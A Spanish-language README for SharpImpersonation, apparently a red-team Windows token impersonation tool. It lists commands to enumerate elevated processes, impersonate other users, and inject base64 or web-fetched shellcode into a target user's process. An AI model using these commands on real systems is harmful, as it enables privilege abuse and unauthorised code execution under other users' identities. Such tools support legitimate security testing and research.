SharpImpersonation

Este fue un proyecto de aprendizaje práctico de mi parte. Se utilizan técnicas bien conocidas para construir solo otra herramienta de suplantación con algunas mejoras en comparación con otras herramientas públicas. La base de código se tomó de:

• https://github.com/0xbadjuju/Tokenvator

Una publicación de blog para la introducción se puede encontrar aquí:

• https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/

Listar procesos del usuario

PS > PS C:\temp> SharpImpersonation.exe list

Listar solo procesos elevados

PS > PS C:\temp> SharpImpersonation.exe list elevated

Suplantar el primer proceso del usuario objetivo para iniciar un nuevo binario

PS > PS C:\temp> SharpImpersonation.exe user:<user> binary:<binary-Path>

Inyectar shellcode codificado en base64 en el primer proceso del usuario objetivo

PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<base64shellcode>

Inyectar shellcode cargado desde un servidor web en el primer proceso del usuario objetivo

PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<URL>

Suplantar al usuario objetivo mediante ImpersonateLoggedOnuser para la sesión actual

PS > PS C:\temp> SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser